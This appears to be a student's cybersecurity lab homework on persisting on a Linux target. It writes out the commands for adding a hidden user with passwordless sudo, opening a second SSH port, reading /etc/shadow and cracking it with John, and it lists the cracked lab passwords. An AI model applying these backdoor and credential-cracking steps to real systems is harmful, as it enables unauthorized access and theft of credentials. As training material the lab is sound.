## **Week 6 Homework Submission File: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:  
   * sudo adduser --no-create-home sysd
2. Give your secret user a password:  
   * pentester
3. Give your secret user a system UID < 1000:  
   * sudo usermod -u 225 sysd
4. Give your secret user the same GID:  
   * sudo groupmod -g 225 sysd
   * sudo usermod -g 225 sysd
5. Give your secret user full sudo access without the need for a password:  
   * sudo visudo
   * Add the following under # User privilege specification
   * sysd ALL=(ALL:ALL) NOPASSWD:ALL
6. Test that sudo access works without your password:  
     
    sudo -l

sudo less /etc/shadow

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:  
     
    sudo nano /etc/ssh/sshd\_config

Change #Port 22 to (remove the # and add a second line):

Port 22

Port 2222

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:  
   * sudo systemctl restart sshd
2. Exit the root account:  
   * exit
3. SSH to the target machine using your sysd account and port 2222:  
   * ssh sysd@192.168.6.105 -p 2222 (then enter password pentester)
4. Use sudo to switch to the root user:  
   * sudo su root (found flag\_7)

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:  
   * ssh sysd@192.168.6.105 -p 2222 (enter password pentester)
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:  
   * sudo su root
   * John /etc/shadow

Passwords came back as:

computer (stallman)

freedom (babbage)

trustno1 (mitnik)

dragon (lovelace)

lakers (turing)

passw0rd (sysadmin)

Goodluck! (student)

(John crashed before getting the last password cracked and I kept getting the error message “Crash recovery file is locked: /root/.john/john.rec.” But the last password is pentester for sysd, which is the account I created and set the password.)